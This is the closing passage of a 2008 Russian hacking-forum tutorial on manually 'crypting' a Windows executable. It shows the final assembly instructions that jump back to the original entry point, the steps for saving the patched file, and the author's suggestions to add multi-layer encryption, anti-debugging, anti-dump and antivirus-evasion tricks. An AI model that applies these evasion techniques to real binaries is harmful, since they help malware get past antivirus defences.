0040822F&nbsp;&nbsp;&nbsp; POP EDX 00408230&nbsp;&nbsp;&nbsp; POP EDI 00408231&nbsp;&nbsp;&nbsp; POP EAX и передадим управление на оригинальную точку входа (OEP), вспоминаем, в самом начале запоминали Image Base = 00400000 + Entry Point = 00001000 == 00401000 00408232&nbsp;&nbsp;&nbsp; MOV EAX,401000 00408237&nbsp;&nbsp;&nbsp; JMP EAX Сохраним все изменения, выделяем весь код который написали, жмем правой кнопкой Copy to Executable &gt; Selection, далее опять правой кнопкой, Save File и сохраняем под другим именем, например готовый.exe Все. P.S. Данная статья только для ознакомительных целей и не претендует на истину в последней инстанции. Данный код очень далек от иделала (писалось на коленке, так что сильно не пинать), каждый может доделать по своему вкусу: оптимизировать, закриптовать все секции, по нескольку раз закриптовать, прикрутить антиотладку, антидамп другие антиаверские трюки и пр. штуки. ___________________________ 03.08.2008 Flint
Post #: 8
Страниц:  [1]
Все форумы >> [Для начинающих] >> Актуальный способ ручного крипта.







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.